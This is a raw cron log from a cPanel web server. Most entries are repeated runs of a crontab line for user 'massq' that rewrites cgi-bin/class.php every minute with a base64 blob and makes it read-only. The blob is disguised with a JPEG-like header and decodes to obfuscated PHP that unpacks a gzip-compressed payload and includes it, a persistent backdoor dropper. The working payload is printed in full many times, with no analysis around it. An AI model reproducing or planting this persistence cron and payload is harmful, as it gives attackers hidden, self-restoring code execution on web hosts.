Nov 10 20:00:01 server CROND[25295]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:01:01 server CROND[26210]: (root) CMD (run-parts /etc/cron.hourly)
Nov 10 20:01:01 server CROND[26211]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:01:01 server run-parts(/etc/cron.hourly)[26210]: starting 0anacron
Nov 10 20:01:01 server run-parts(/etc/cron.hourly)[26224]: finished 0anacron
Nov 10 20:02:01 server CROND[26729]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:03:01 server CROND[27502]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:04:01 server CROND[28318]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:05:01 server CROND[29237]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 20:05:01 server CROND[29239]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 20:05:01 server CROND[29240]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 10 20:05:01 server CROND[29241]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 20:05:01 server CROND[29242]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:06:01 server CROND[30244]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:07:01 server CROND[31059]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:08:01 server CROND[32048]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:09:01 server CROND[427]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 20:09:01 server CROND[428]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:10:01 server CROND[1268]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 20:10:01 server CROND[1270]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 20:10:01 server CROND[1272]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:10:01 server CROND[1271]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 20:11:01 server CROND[2224]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:12:01 server CROND[3048]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:12:01 server CROND[3049]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
